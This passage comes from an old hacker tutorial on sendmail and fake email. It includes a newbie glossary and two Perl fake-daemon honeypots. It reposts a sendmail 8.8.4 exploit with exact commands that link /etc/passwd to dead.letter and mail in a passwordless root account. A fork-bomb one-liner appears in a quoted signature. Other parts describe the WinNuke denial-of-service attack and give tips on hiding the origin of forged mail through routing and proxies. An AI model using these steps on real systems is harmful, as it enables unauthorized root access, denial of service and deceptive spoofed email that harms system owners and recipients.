parameter scanning routine OR disable AllowBogusHELO
(but it
may cause serious troubles). I have no 8.8.8 sources at the
time, so execuse me if it's unclear.
PS:
--
From: Gregory Neil Shapiro <sendmail+gshapiro@sendmail.org>
I was able to reproduce the header problem by lengthening the HELO string
in your script.
[...]
This will be fixed in sendmail 8.9.
--
_______________________________________________________________________
Michał Zalewski [tel
9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl]
Iterować jest rzecz± ludzk±, wykonywać rekursywnie - bosk± [P. Deustch]
=--------- [ echo "while [ -f \$0 ]; do \$0 &;done" >_;. _
] ---------=
Giant Bug in Sendmail 8.8.4 (taken from
hackersclub.com)
sendmail8.8.4 exploit
"sendmail? 'tis the bugiest
program" -phriend-
Ok, here's a brief and interesting explonation of
this famous exploit. This
exploit uses sendmail version 8.8.4 and it
requires that you have a shell
acount on the server in question. The exploit
creates a link from
/etc/passwd to /var/tmp/dead.letter
Very simple really. Here's how it
works, below are the exact commands as you have to type them (for the
technically challendged ones)
* ln /etc/passwd /var/tmp/dead.letter
* telnet target.host 25
* mail from: nonexsistent@not.an.actual.host.com
* rcpt to: nonexsistent@not.as.actual.host.com
* data
* lord::0:0:leet shit:/root:/bin/bash
* .
* quit
Kaboom, you're done, telnet to port 23 and log in
as lord, no password
required. Thanx to a little bit of work we did,
lord just happens to have
the same priviledges as root.
There are a couple of reasons why this might not work.
1. /var and / are different partitions (as you
already know, you can't
make hard links between different partitions)
2. There is a postmaster account on a machine or mail alias, in which
case, your mail will end up there instead of being written to a
etc/passwd
3. /var/tmp doesn't exist or isn't publicly
writable
Duncan Silver
www.hackersclub.com/uu
Editor's notes: lord::0:0:leet
shit:/root:/bin/bash is a line out of a Unix password file(33).
Final Notes
You must have noticed that I didn't put anything from BugTraq.
This is because everything that goes to BugTraq
gets at least one reply (from my experience), and I don't feel like posting
whole threads(34) here (they're too damn long).
Newbies corner
1. Daemon - a program that listens for incoming connections on a specific port(2). Some daemons may receive commands from you and
interact with you, others may simply spew out some text/binary and quit.
2. Port - (for the more technical explanation of what ports are, see the
end of this explanation) ports are like holes that enable things (data, in
this case) to come into them.
There are physical ports and software ports on your computer. Physical
ports are those slots on the back of your computer, your monitor etc'. Now,
software ports are used when connecting to other computers.
For example: I just bought a new computer and I want to turn it into a webserver (I want to enable people to access selecetd web pages, pictures, cgi
and java scripts or applets, programs etc' that are located on my computer
(MY computer, not on some cheesy free webhost
such as Geocities), and I want those people to be able to do that using
nothing but a browser). In order for that to happen, I need to install a webserver program.
The webserver program opens a port on my computer
called port 80 (this number can be changed, but this is the default
number). Then it listens to incoming connections on that port.
When someone starts his Internet browser (Netscape, Lynx, Microsoft
Explorer etc') and surfs to my website, his browser connects to my computer
on port 80 and then sends HTTP commands that my webserver
program can understand into it.
My webserver program quickly picks up the
incoming data and then sends it back into a port that the surfer's browser
opened on the surfer's computer. The browser will listen on that port and
wait for the data (the HTML page, the picture, the program etc') to come in
through it.
Note about non-default ports: if you decide to put, say, a webserver on a non-default port, it'll be harder for people
to get in. If you decided to put it on port... umm... 8000 instead of 80,
people will have to type in your IP address(9) or your hostname(10) if you
have one and add a :8000 at the end. For example:142.30.5.79:8080.
Simply typing in 142.30.5.79 inside your browser's URL field is as same as
typing 142.30.5.79:80, so it's best to put a webserver
on port 80 (unless you only want a specific group of people who will be
given that number to access your webserver, but
such a blockage can be easily cracked using a portscanner(12)).
There are different ports for different services(3)
so data won't mix up. Imagine your browser getting data your FTP client was
supposed to get.
I hope you got the main idea of what a port is.
Now, there are three kinds of ports: well-known ports, registered ports and
dynamic/private ports.
The well known ports are those from 0 through 1023. These are default ports
for several services. For example: the default port for webservers
is 80. Else, how would your browser know which port he has to access?
Now, the registered ports are those from 1024 through 49151. These ports
are reserved for several programs. For example: ICQ (www.icq.com) reserves
several ports for listening to various incoming events (messages, file
transfers etc') on it.
The dynamic and/or private ports are those from 49152 through 65535, and
can be used by anyone for any given purpose.
Important note about well-known ports: services(3)
on these ports can be only ran by root, so inferior users won't start
messing up with important ports.
3. Service - a daemon(1) that allows everyone who
connects to it (or a specific group of people. For example: anyone from
this IP(9) range, everyone who knows the secret
password etc') to use some kind of service.
For example: a webserver such as the one
described in section one on this chapter (the explanation regarding what is
a port) is a service because it allows people to come in and ask for
certain pieces of data.
The simplest example of a service I can think of is "daytime".
Daytime waits for incoming connections on port(2)
13 and when someone goes by it immedietly
announces the current time on the computer that runs it (with no need from
you to type in any commands or passwords or anything). Simple.
4. Daemon banner - most daemons(1) give away some
technical info to anyone who connects to them on some point. This
information can be used by anyone who connects to that daemon simply for it
to know how to interact with the daemon best (which daemon is it, what
version, etc'), but it can also be used by hackers.
Let's try connecting to port(2) 23 on someone.com
(note: I've made up this hostname(10) and all the details regarding it
simply to teach you about daemon banners. I really don't know whether there
is such a hostname and whether the details I'm about to give you are
correct). On port 23 you would usually find Telnet(19).
Telnet is a service which at first asks you for a username and a password
on most cases (unless you typed in an "unpassworded"
username. In that case it will simply log you in as that user without
requesting for a password) and then runs a program specified by the sysadmin(22)
and let's you work with it. In most cases you will get into a text-based
shell (a command interpreter(20)). The problem is:
you cannot do ANYTHING. It all depends on what kinds of permissions the
user that you are logged in as has. The user root(14)
has all permissions (read everything, write (and delete) everything,
execute everything and change other people's permissions).
Okay, so let's try going to port 23 on someone.com. At first we get this:
Welcome to someone.com, running FreeBSD 4.13
Login:
Aha! Someone.com is running an operating system called FreeBSD 4.13! That
has to be worth something (we might come across a bug report regarding a
bug that exists on FreeBSD 4.13 and might enable us to hack this server at
a certain point). Every piece of information about a webserver
is important.
Now, since we don't know a username and a password for this server we could
either terminate the connection or try guessing. Most servers have a guest
account (username: guest, password: guest or just username: guest) or a newuser account (username: newuser,
password: newuser, or just username: newuser), but that certainly won't help us hack these
guys... unless there's a major hole in these accounts. You'll have to
figure these things out by yourself.
Note about the word server: a computer is called a server if it offers any
services. If not, it is called a host.
5. Timeout - okay, so I've got a daemon(1) waiting
on port(2) 23 for incoming connections. Now, what happens if someone
connects to it and does absolutely nothing? He would simply remain
connected to that daemon until one of us either reboots or closes the
connection. You don't want anyone connecting to some port on your computer
and just hanging there, do you? This would only waste valuable bandwidth(15)!
Most people will not want to monitor their network status 24 hours a day
and disconnect everyone who decides to hang around for a while (especially
on large networks). This is why timeout was invented.
By setting a timeout value to a daemon (this can be done during the setup
process or by running a setup program or entering some sort of an options
box) you can make it close the connection on anyone who connets
to it and does nothing for over than the timeout value.
For example: you put a daemon on port 17 and tell it to timeout after 2.5
seconds. If someone will connect to your daemon and will not type anything
for over than 2.5 seconds the daemon will close down the connection and
that person will have to reconnect and start typing something before the
daemon times out and throws him out.
This is why webservers have a short timeout of 2
seconds (most people connect to webservers using
client programs(16), and these programs
"type" really fast...).
6. TCP - stands for Transfer Control Protocol. TCP is a protocol that is
used for transferring data through networks (the Internet, local networks
etc'). TCP is much more reliable than UDP since it uses several
precautions, such as sequence numbers and all sorts of nifty header flags
and all (see the excellent article called 'IP Spoofing Demystified' at the
Books Section in http://blacksun.box.sk for lots of info regarding TCP (a
real MUST READ!!)).
TCP's only disadvantage is that it is a bit slower than UDP, but it is more
reliable, hence it is used to transfer sensitive files (such as programs -
if you lose a single bit of the file, the whole thing is useless).
7. UDP - stands for User Datagram Protocol. UDP is a protocol that is used
for transferring data through networks (the Internet, local networks etc').
UDP is less reliable than TCP (see the excellent article called 'IP
Spoofing Demystified' at the Books Section in http://blacksun.box.sk for
lots of info regarding UDP (a real MUST READ!!)), but it is also a little
faster, hence programs such as Real Player (see http://www.real.com) use it
for streaming video and more, where losing a single packet(32)
or two is not such a big deal.
8. ICMP - stands for Internet Control Message Protocol. A protocol used for
transferring errors over a network (the Internet, local networks etc').
9. IP address - every computer connected to the Internet has an IP address.
If another computer wants to interact with your computer it will need your
IP, just like you need another person's phone number to call him.
IP addresses should look like that: x.x.x.x,
where x can be a number between 0 to 255.
Note: there are "special" IP addresses which aren't use to connect
to other computers. For example: 127.0.0.1 means localhost,
which means you (your computer). Connecting to a certain port(2)
on the IP 127.0.0.1 will connect to that port on your computer.
Oh, by the way, IP stands for Internet Protocol(18).
10. Hostname - hey, guess what! I just found out this really cool site! But
I can't remember it's IP address, and when I do, I hate typing in these
long IP addresses(9). Sure, I can bookmark it, but
what if I'll want to tell my friends about it? Or what if I'll be surfing
from my friend's house or from a public place and I won't have my
bookmarks?
The answer to all of these questions is hostnames.
Hostnames are aliases to IP addresses. A list of hostnames and their IP
addresses is located at InterNIC, which is a database
of all hostnames and their IP addresses.
When you type in a hostname, your computer will look up that hostname and
find the appropriate IP address and then connect to it.
But instead of having to overload InterNIC
(imagine that the entire world will connect to them. This would surely
overload their servers and they will have to spend money on constant
upgrades and backups. And think what will happen if something bad will
happen to their databases...). The solution for this problem is called DNS servers(17).
11. Finding out what your ISP's mail servers are - there are several ways
to do this:
1) Call your ISP and ask them what is the IP address(9) or the hostname(10)
of your outgoing mail server (this is the IP/hostname you will need to
perform all the tricks in this tutorial). If you want to know a different
ISP's mail server, call their tech support phone number. But what if
they're on the other side of the world and you don't feel like spending
tons of cash simply for calling them and being put on hold? In this case,
try method 3.
2) Start up your mail client, go to your preferences page and find what it
says in the 'outgoing mail' field or in the 'SMTP server' field (both are
the same. SMTP stands for Simple Mail Transfer Protocl,
which is a protocol(18) that is used to send
Emails over the Internet).
3) Guessing. If your target server is someone.com, their mail server should
either be mailgw.someone.com:25 (mailgw.someone.com on port(2)
25. Note: mailgw stands for mail gateway) or
someone.com:25. If not, send an Email to admin@someone.com or
support@someone.com and ask them what their mail server is (they should be
happy to answer you, unless you tell them that you're an evil hacker or
something. In that case they'll call the cops on you).
Note: not every server on the planet has an outgoing mail server.
12. Portscanner - a program that scans a target
for open ports(2) by trying to connect to it on
various ports. The simplest portscanner will
start at port 1 and climbs up, but you can tell more advanced portscanners to scan a specific range, give you some
info on open ports it might find etc'.
13. Services scanner - a services scanner is much more sophisticated than a
portscanner(12) since it tries to connect on predefined ports which
should have the service(3) you're looking for on them.
14. Root - an account on Unix computers which has maximum priviledges (read any file, write (and delete) to any
file, execute any file and change other users' permissions). Note: other
accounts may have root access, and the root account may not always have
root access, depending on the sysadmin(22) (but root is the default account for root access).
15. Bandwidth - the total amount of speed a network connection device (a
modem, a network card, a mail pigeon etc') can get to. For example: I just
bought a new modem. It has a bandwidth of 100Ks per second, meaning it can
transfer up to 100Ks per second.
When you use your network device to do something it will drain some of the
bandwidth in order to do this operation.
16. Client program - a program that connects to a certain service(3). Most client programs would know how to
communicate with that service with or without the information it will
receive from the daemon banner(4).
Example: an Internet browser (such as Netscape) is a client program because
it connects to port(2) 80, where the webserver daemon(1) is waiting for connections, and
interacts with it in order to retrieve the file you're looking for. A
browser has to know how to communicate with the webserver
daemon (also referred to as HTTPD, HTTP Daemon. HTTP stands for Hyper Text(23) Transfer Protocol) in order to fulfill your
requests.
17. DNS server - a server that stores hostnames(10)
and their IP addresses(11). Instead of having InterNIC's
servers handle the entire planet, every ISP has a DNS server.
When you type in a hostname and tell your modem to connect to it, your
computer will perform an action called 'DNS Lookup'. In other words, it
will ask your ISP's DNS server what is the appropriate IP address for the
hostname you've typed in. If your ISP's DNS server will not know the
answer, it will ask a higher-level DNS server. If the higher-level DNS
server will not know the answer, it will ask an even higher-level DNS
server, etc' etc' etc'.
The highest level is InterNIC itself.
If the DNS server knew the IP in the first place it would give it to you.
If it didn't (and it only found it out after querying other servers), it
will first add it to his own databases and then give it to you.
18. Protocol - a set of rules used for computers to interact with each
other over a network of some sort (such as the Internet or a some kind of a
local network) they need to know a common protocol and each computer has to
assume that the other one knows this protocol and uses it.
19. Telnet - a program that in it's most
simplicity allows you to form a text-based connection between your computer
and another computer over a network of some sort. You may choose the IP
address(9) or hostname(10) and the port(2) you wish to contact, and Telnet
will establish a TCP(6) connection between both machines.
Note about the Telnet daemon(1): the Telnet daemon
is completely different. It waits for incoming TCP(6)
or UDP(7) connections on port 23 and then asks the user for a login (often
called a username) and a password (unless the user typed in an unpassworded username. In that case, he will get in
without entering a password. Unpassworded
accounts are often VERY limited) and then proceed to execute a program
(usually a command interpreter(20)) and giving you some permissions, all
depending on the username and the password you have entered (unless you
gave in the wrong details. In that case, you will be told that either the
username or the password are wrong and be given another try. Most systems
give you three tries and then quit).
20. Command interpreter - a program that accepts commands from the user and
turns them into real commands your computer understands.
For example: if your command interpreter contains a command called, say,
display, which accepts a single parameter which should be a filename, and
you type in 'display somefile' (without the
quotes, and replace somefile with a real
filename) then it will translate this command into 'okay mr. computer, find the hard drive by doing this and
this, go to the FAT (File Allocation Table) and find out in which
sector/sectors this file is located, grab the file and send it to the
terminal device (the specified output device, usually your monitor)'. Get
the main idea?
21. Shell account - an account on a remote computer (a username and a
password and a bunch of personal configuration files and stuff). Having a
shell account on a remote computer means having the ability to telnet(19)
into that computer on port 23, type in your account's login (also referred
to as a username) and password and getting a command interpreter(20) with
some permissions (depending on the sysadmin(22)).
22. Sysadmin / admin - the man/woman/furry
creature who is in charge of a system.
23. Hyper Text - if you've ever seen an HTML document you should know what
hyper text is, but you might not be aware of it. HTML stands for Hyper Text
Markup Language. Hyper text is considered as "enhanced text",
since you can add pictures, colors, links etc' to it. Compare that to the
regular and dull text format which this tutorial uses...
:D
24. RFC - stands for Request For Comment. These are draft papers by the
IETF (Internet Engineering Task Force - those guys who set all those
Internet standards and stuff). They contain suggestions for Internet
standards.
You can search for RFCs at
http://www.linuxberg.com.
25. InterNIC - the domain registration database
and the highest DNS(17) server on the planet.
26. Sub domain - first class domains look like this: something.com (or
other extensions, such as org, net, cc, co.uk etc'). It costs 70$ to
register one (see http://www.networksolutions.com). Second class domains
look like this: someone.something.com and they cost 0$ to register, if you
already have something.com registered to you, of course (although you can
get those for free on websites such as www.anrki.com). Third class domains
look like this: blah.someone.something.com and they don't cost any money
either, etc' etc' etc'.
Note about the price of a first-class domain: this price does not include
web hosting (someone who will host your website or whatever you want to put
up on his server).
27. SSH - stands for Secure Shell. This daemon(2)
waits for incoming TCP(6) or UDP(7) connections on port 22. Once you
connect to it, you will be asked for a Login and a Password, just like the
Telnet daemon(19) does, only SSH encrypts
everything for increased security.
28. Moderated mailing list / message board - I'll explain this by giving
you an example. BugTraq (see http://www.securityfocus.com)
is one of the best security-related mailing list.
Although people can "send things to the list" (meaning send an
Email message and have it sent to all the members of the mailing list), you
can't just send everything. Aleph1, the moderator, goes through all
incoming messages and posts only the good ones.
The same goes with moderated message boards, etc'.
29. DoS attack - DoS
stands for Denial of Service (also referred to as a "nuke" or a
"newk"). A DoS
attack is some kind of an attack that causes the target computer to deny
some/all kinds of services to the users of that computer (local and/or
remote users).
For example: Winnuke (also known as OOB), the
simplest DoS in the world.
(Taken from Spikeman's DoS
site) This denial of service program affects Windows clients by sending an
"Out of Band" exception message to port 139, which does not know
how to handle it. This is a standard listening port on Windows operating
systems. Users of Win 3.11, Win95, and
Win NT are vulnerable to this attack. This program is basically a nuisance
program, but it is being widely circulated over the internet now. It has
become a bother in chatrooms and on IRC. By using
your IP# and sending OOB data to port 139, malicious users can disconnect
you from
the net, often leaving you with low resources and the blue tinted screen.
Some of you may have been victims already. If this happens to you on Win
95, you will see a Windows fatal error message similar to the following:
Fatal exception 0E at 0028: in VxD MSTCP(01) +
000041AE.
This was called from 0028: in VxD NDIS(01) + 00000D7C.
Rebooting the comp should return it to normal state.
Patches ("fixes") For WinNuke
(OOB)
Additional Information on WinNuke
http://support.microsoft.com/support/kb/articles/Q168/7/47.asp
Windows 95 Patches
http://support.microsoft.com/download/support/mslfiles/Vipup11.exe
http://support.microsoft.com/download/support/mslfiles/Vipup20.exe (for
Winsock 2.0*)
http://www.theargon.com/defense/nuke/index.html
Please read notes referring to 95 patches before installing.
Which version of Winsock do you have on your Windows 95 PC?
http://premium.microsoft.com/support/kb/articles/Q177/7/19.asp
http://www.theargon.com/defense/nuke/index.html
Windows NT 4.0 Patch
http://support.microsoft.com/support/kb/articles/Q143/4/78.asp
http://www.theargon.com/defense/nuke/index.html
Please read notes referring to Windows NT patches before installing.
More info on DoS attacks can be found at Spikeman's DoS site:
http://www.genocide2600.com/~spikeman/main.html
* I really don't know if this patch will work on newer versions of Winsock.
Therefore I'd like to recommend that you will first downgrade to Winsock
1.1 (the one that comes with Windows 95) by going to Control Panel, Network
and removing TCP/IP and Dial Up Adapter(30) and then re-adding them by
clicking add, choose protocol and in the company frame choose Microsoft.
Then look for an option called TCP/IP and double-click it. As for DUN (Dial
Up Networking), do the same but choose adapter instead of protocol.
After you finish downgrading re-upgrade to Winsock 2.0, apply the patch
(Vipup20.exe) and then upgrade to newer versions of Winsock.
30. DUN - stands for Dial Up Adapter. DUN is the program that comes with
Windows and dials to your ISP in case you have a dial-up account(31).
31. Dial-Up account - a dial-up account at an ISP means that your modem has
to dial some phone number before you can get on the net. Unlike other ISP
accounts (direct cables which keep you online for 24 hours a day), you get
a dynamic IP address(9) (and not a static one like
on direct cable connections) since you have to connect and disconnect
instead of just staying online all the time. Every time you re-connect you
are assigned with a different IP address.
32. Packet - a piece of data that travels over a network (such as the
Internet or local/wide area networks). A packet consists of two main parts:
the header and the data itself. The header contains all sorts of nifty
values such as the TTL (Time To Live) and more (you can read about those in
the Modem Speedup section at http://blacksun.box.sk). The data part
contains the actual data that the packet is carrying.
On a regular dial-up account(31), the size of a
packet should be 576 bytes (including the header), but on direct cable
connections a packet would be much bigger (again, see Modem Speedup section
at blacksun.box.sk).
33. Unix password files - Every Unix system has a password file. They
contain a list of users, their passwords and some important information
about them. The password file is located at /etc/passwd.
Each line represents a user.
Each line consists of 7 fields, seperated by : marks (commas).
A line in a password file should look like this:
Username:encrypted password:UID:GID:short
description:home directory:shell
Username - the user's username.
Encrypted password - the user's password (encrypted for higher security).
An encrypted password is always 13 characters long.
UID - User ID. Each user has an ID number. If your UID is 0 it means you
have root access(14).
GID - Group ID. You can set groups (for example: all the workers in the
accounting division) and set special permissions to that entire group. Root
has GID 0.
Short description - short description in human language.
Home directory - the directory where all of the user's personal
configuration files are held.
Shell - a program that is executed once the user logs in. In most cases
(and in this case too) the shell is a command interpreter(20).
In our case, the encrypted password field is empty, which means that the
user gets to log in by simply giving a username. This can be changed after
we log in by typing passwd to the command
interpreter. You will then be asked for a password to be set for your
account.
Note: on some systems, you have to type passwd
your-username instead of simply typing passwd.
Note 2: root can do passwd your-username and
change your-username's password, no matter who
your-username is.
Note 3: if you put any characters that are not of the following sets: '. / 0-9 a-z A-Z' (without the quotes) or if you don't
put anything in, the account is disabled so that user cannot log in.
This is used when you know you might want to enable this account in the
future.
Cracking the encrypted password
For this you need a password cracker. A password cracker is a program that
takes a certain word out of a dictionary file (also referred to as a
"wordlist") or a combination of letters, numbers etc' the program
makes up systematically ("brute-force cracking"), encrypts it the
way Unix encrypts passwords and then compares it to the passwords in a
given password file. If the passwords match, it will announce the correct
password for that username.
34. Thread - right now I'm talking about threads in discussion lists and
message boards, not on computer programs. We'll discuss about these in a
later time (maybe).
A thread is a series of posts which started out from a single one. Let me
demonstrate: a person starts a thread by stating a fact or making an
opinion. Then, another person comes into the discussion list or into the message
board and states his opinion on the subject. Then another person joins in
and reply to the replier's opinion. Then another
one comes, but chooses to reply to the original message instead since he
has nothing to say regarding the other messages (if he does, he can post
two messages). You get the picture...
Appendix A: Fake Daemons(1)
I found these two fake daemons (Sendmail and
Telnet(19)) at packetstorm.securify.com once. They're great to fool
attackers and to play tricks on your friends.
These are Perl (a programming language) programs.
To execute them (no, executing a file doesn't have anything to do with
killing it...) on Unix, simply type ./filename and
replace filename with the name of the file you wish to execute. Every Unix
"flavor", "distribution" or whatever you want to call it, comes with Perl (I think. Correct me if I'm wrong: barakirs@netvision.net.il).
To execute them under DOS/Windows, you have to download Active Perl from
www.activeperl.com and then simply double click them.
I don't know how to execute them under Mac. I guess Active Perl supports
Macs, but I'm not sure.
Now, on to the fake daemons.
These two daemons came in a single package together with a readme file. Following are all three files. I did not
alter any of those files, it's up to you to do so.
Play with them and learn.
Oh, by the way, if you wish to learn Perl (or any other programming
language), head off to http://blacksun.box.sk and find the books section.
Enjoy!
== Readme ==
heh.. this
piece is no way serious, but if anyone think it would be cool to
keep working on the piece, drop a line with your ideas. We may develop it
further. ;-). I basically coded it just for fun, when I had few spare
minutes.
The piece is supposed to be `want-to-be-Windog-Deception-toolkit'
which
contains sample sendmail.pl and telnetd.pl which are supposed to be fake
sendmail and telnet daemons. To run this code you
will need to download
and install perl for windoze.
(I used active perl from
http://www.activeware.com to test it).
Hope you will have fun with it
C.P.
fygrave@tigerteam.net
Sun May 23 17:12:51 KGST 1999
== End of Readme ==
-- [ SendmailD ] -- #editor's notes: SendmailD stands for Sendmail
Daemon(1), just like TelnetD stands for Telnet
Daemon etc'
#!/usr/bin/perl
use Socket;
$port=25;
$hostname="booga.com"; # does windog
have gethostbyname?
$banner="220 boogaa.com ESMTP Sendmail
8.6.1/8.5.0\n\r"; # date should be aslo here
$fail="500 Command unrecognized:";
socket(S,AF_INET,SOCK_STREAM,$protocol) || die
"socket: $!";
$sockaddr='S n a4 x8';
$this=pack($sockaddr,AF_INET,$port,"\0\0\0\0");
bind(S,$this) || die "bind: $!";
listen(S,10) || die "listen: $!";
select(S);
$|=1;
select(STDOUT);
while(1) {
($addr= accept(NS,S)) || die "accept:
$!";
select(NS);
$|=1;
select(STDOUT);
#
#here we should fork. but damn windog doesn't
support this. crap.
# Any ideas?
($af,$port,$inetaddr)=unpack($sockaddr,$addr);
@inetaddr=unpack('C4',$inetaddr);
($i1,$i2,$i3,$i4)=@inetaddr;
$ipaddr="$i1.$i2.$i3.$i4";
print "connected from $ipaddr\n";
print NS $banner;
while(<NS>) {
if (/EHLO/i) {
print NS "Hello $ipaddr. nice to meet
you\n\r";
} else {
print NS "$fail $_\r";
print "tried $_";
}
}
print "$ipaddr disconnected\n";
close(NS);
}
-- [ End of SendmailD ] --
-- [ Telnetd ] --
#!/usr/bin/perl
use Socket;
$port=23;
$login="\n\rlogin:";
$password="password:";
$banner="\n\r\n\rUnix(r) System V Release
4.0 (brooder)\n\r";
$fail="login incorrect.\n\r";
socket(S,AF_INET,SOCK_STREAM,$protocol) || die
"socket: $!";
$sockaddr='S n a4 x8';
$this=pack($sockaddr,AF_INET,$port,"\0\0\0\0");
bind(S,$this) || die "bind: $!";
listen(S,10) || die "listen: $!";
select(S);
$|=1;
select(STDOUT);
while(1) {
($addr= accept(NS,S)) || die "accept:
$!";
select(NS);
$|=1;
select(STDOUT);
#
#here we should fork. but damn windog doesn't
support this. crap.
# Any ideas?
($af,$port,$inetaddr)=unpack($sockaddr,$addr);
@inetaddr=unpack('C4',$inetaddr);
($i1,$i2,$i3,$i4)=@inetaddr;
$ipaddr="$i1.$i2.$i3.$i4";
print "connected from $ipaddr\n";
print NS $banner;
print NS $login;
while(<NS>) {
print "attempt to log in as $_\n";
print NS "$password";
$ll=<NS> || last;
sleep 5;
print "tried password $ll. Login incorrect is given\n";
print NS $fail;
print NS $login;
}
print "$ipaddr disconnected\n";
close(NS);
}
-- [ End of TelnetD ] --
Appendix B: Routing Mail
You can make your mail go through many different servers in order to make
the header longer and confuse people who would try to track it down.
Example: if you want to send the fake mail to blah@blah.com, and route it
through blaha.com, blahb.com and blahc.com, then in the 'rcpt to:' part,
simply do this: @blaha.com,@blahb.com,@blahc.com:blah@blah.com
Note: this will not work on every Sendmail
daemon.
Thanks to Magnus Kristiansen for this one! ;-)
Appendix C: Faking your IP
So you don't want people to find your IP and your hostname when they look
at the full header? Then simply fake your IP!
You can do this by using Wingates or SOCKS
firewalls, or telnetting to the Sendmail daemon from a shell account. If you use either
one of those, the full header will show the Wingate's/SOCKS
firewall's/shell provider's IP address.
If you find a shell account that allows you to telnet out of it, you can
use it to fake your IP. Otherwise, use Wingates
or SOCKS firewalls. To learn more about then, read our Proxy/Wingate/SOCKS
tutorial and our anonymity tutorial at blacksun.box.sk.
Also, we recommend going to the books section on our website and
downloading the excellent item called "IP Spoofing Demystified".
The stuff written in there may not be so practical, but it is very
important reading (you will learn a lot of important stuff that you could
use later).
Appendix D: Reply-to
The Reply-to option does the following: when a person receives an Email
with a reply-to address and sends a reply, the reply is sent to the address
specified within the Reply-to command (this does not work on really really old Email clients).
To use it, simply insert this line:
Reply-to: some-user@some-server.net
and replace some-user and some-server.net with the appropriate user and
server. You have to include this line before or after the
"Subject:" part.
Appendix E: CC and BCC
CC is used to send a message to other people that are not the recipients of
the message, but might need the information in it.
BCC is used the same way, only people can only see the recipient.
The B in BCC stands for Blind, while the CC stands for Carbon Copy (like
when you copy a page using... nevermind). So BCC
stands for Blind Carbon Copy while CC stands for Carbon Copy. Exciting,
isn't it? Thanks to i2tb for this information.
Want to use CCs and BCCs within your fake Emails?
No problem!
They work exactly the same as the Reply-to command in Appendix D. Simply
put CC: or BCC: lines in your fake mail (inside the body of the message),
and then insert the appropriate Email addresses.
References
RFC 821 - the SMTP RFC. Can be found at
http://freesoft.org/CIE/RFC/821/index.htm. Thanks for Chris Karwoski for this one. ;-)
Bibliography
1) Sam Spade's library - http://www.samspade.org.
2) Various online magazines.
3) BugTraq's archives -
http://www.securityfocus.com/level2/bottom.html?go=search
4) Packet Storm Security - http://packetstorm.securify.com
5) Security Focus - http://www.securityfocus.com
6) Rootshell - http://www.rootshell.com
7) Hackersclub - http://www.hackersclub.com
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